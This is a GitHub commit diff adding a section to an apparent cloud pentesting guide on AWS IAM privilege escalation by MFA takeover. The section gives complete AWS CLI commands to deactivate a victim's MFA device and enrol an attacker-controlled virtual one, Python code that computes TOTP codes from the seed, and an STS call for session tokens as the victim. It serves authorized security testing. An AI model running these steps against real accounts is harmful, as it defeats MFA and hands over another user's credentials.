Skip to content

Commit 0cfe8fc

Browse files
authored
Update README.md
1 parent 633b608 commit 0cfe8fc

1 file changed

Lines changed: 76 additions & 0 deletions

File tree

  • src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -620,6 +620,82 @@ aws iam put-role-permissions-boundary \
620620
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
621621
```
622622

623+
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
624+
The attacker creates a virtual MFA device under their control and attaches it to the target IAM user, replacing or bypassing the victim’s original MFA. Using the seed of this attacker-controlled MFA, they generate valid one-time passwords and request an MFA-authenticated session token via STS. This allows the attacker to satisfy the MFA requirement and obtain temporary credentials as the victim, effectively completing the account takeover even though MFA is enforced.
625+
626+
If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`):
627+
628+
```bash
629+
aws iam deactivate-mfa-device \
630+
--user-name TARGET_USER \
631+
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
632+
```
633+
634+
Create a new virtual MFA device (writes the seed to a file)
635+
636+
```bash
637+
aws iam create-virtual-mfa-device \
638+
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
639+
--bootstrap-method Base32StringSeed \
640+
--outfile /tmp/mfa-seed.txt
641+
```
642+
643+
Generate two consecutive TOTP codes from the seed file:
644+
645+
```python
646+
import base64, hmac, hashlib, struct, time
647+
648+
seed = open("/tmp/mfa-seed.txt").read().strip()
649+
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
650+
key = base64.b32decode(seed, casefold=True)
651+
652+
def totp(t):
653+
counter = int(t / 30)
654+
msg = struct.pack(">Q", counter)
655+
h = hmac.new(key, msg, hashlib.sha1).digest()
656+
o = h[-1] & 0x0F
657+
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
658+
return f"{code:06d}"
659+
660+
now = int(time.time())
661+
print(totp(now))
662+
print(totp(now + 30))
663+
```
664+
665+
Enable MFA device on the target user, replace MFA_SERIAL_ARN, CODE1, CODE2:
666+
667+
```bash
668+
aws iam enable-mfa-device \
669+
--user-name TARGET_USER \
670+
--serial-number MFA_SERIAL_ARN \
671+
--authentication-code1 CODE1 \
672+
--authentication-code2 CODE2
673+
```
674+
675+
Generate a current token code (for STS)
676+
```python
677+
import base64, hmac, hashlib, struct, time
678+
679+
seed = open("/tmp/mfa-seed.txt").read().strip()
680+
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
681+
key = base64.b32decode(seed, casefold=True)
682+
683+
counter = int(time.time() / 30)
684+
msg = struct.pack(">Q", counter)
685+
h = hmac.new(key, msg, hashlib.sha1).digest()
686+
o = h[-1] & 0x0F
687+
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
688+
print(f"{code:06d}")
689+
```
690+
691+
Copy the printed value as TOKEN_CODE and request an MFA-backed session token (STS):
692+
693+
```bash
694+
aws sts get-session-token \
695+
--serial-number MFA_SERIAL_ARN \
696+
--token-code TOKEN_CODE
697+
```
698+
623699
## References
624700

625701
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

0 commit comments

Comments
 (0)